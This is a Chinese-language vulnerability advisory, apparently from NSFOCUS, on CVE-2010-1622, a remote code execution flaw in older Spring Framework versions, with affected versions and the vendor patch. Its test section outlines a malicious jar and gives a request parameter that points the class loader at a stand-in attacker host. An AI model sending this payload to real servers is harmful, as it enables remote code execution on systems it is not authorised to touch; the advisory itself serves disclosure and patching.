安全研究

安全漏洞
Spring Framework class.classLoader类远程代码执行漏洞

发布日期:2010-06-17
更新日期:2010-06-21

受影响系统:
SpringSource Spring Framework 3.0.0 - 3.0.2
SpringSource Spring Framework 2.5.0 - 2.5.7
不受影响系统:
SpringSource Spring Framework 3.0.3
描述:
BUGTRAQ  ID: 40954
CVE ID: CVE-2010-1622

Spring是一个广泛部署的开源架构,帮助开发人员构建高质量的应用。

Spring框架提供了允许使用客户端所提供的数据来更新对象属性的机制,而该机制允许攻击者修改用于通过class.classloader加载对象的类加载器的属性,这可能导致执行任意命令。例如,攻击者可以将类加载器所使用的URL修改到受控的位置。

<*来源:Meder Kydyraliev (bugtraq@web.areopag.net
  
  链接:http://marc.info/?l=full-disclosure&m=127688249111693&w=2
        http://secunia.com/advisories/40260/
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

1. 创建attack.jar并可通过HTTP URL可用。这个jar必须包含有以下内容:

- META-INF/spring-form.tld - 定义spring表单标签并指定实现为标签文件而不是类
- META-INF/tags/中的标签文件,包含有标签定义(任意Java代码)

2. 通过以下HTTP参数向表单控制器提交HTTP请求:
class.classLoader.URLs[0]=jar:http://attacker/attack.jar!/

这会使用攻击者的URL覆盖WebappClassLoader的repositoryURLs属性的第0个元素。

3. 之后org.apache.jasper.compiler.TldLocationsCache.scanJars()会使用WebappClassLoader的URL解析标签库,会对TLD中所指定的所有标签文件解析攻击者所控制的jar。

建议:
厂商补丁:

SpringSource
------------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:

http://www.springsource.com/

浏览次数:3912
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障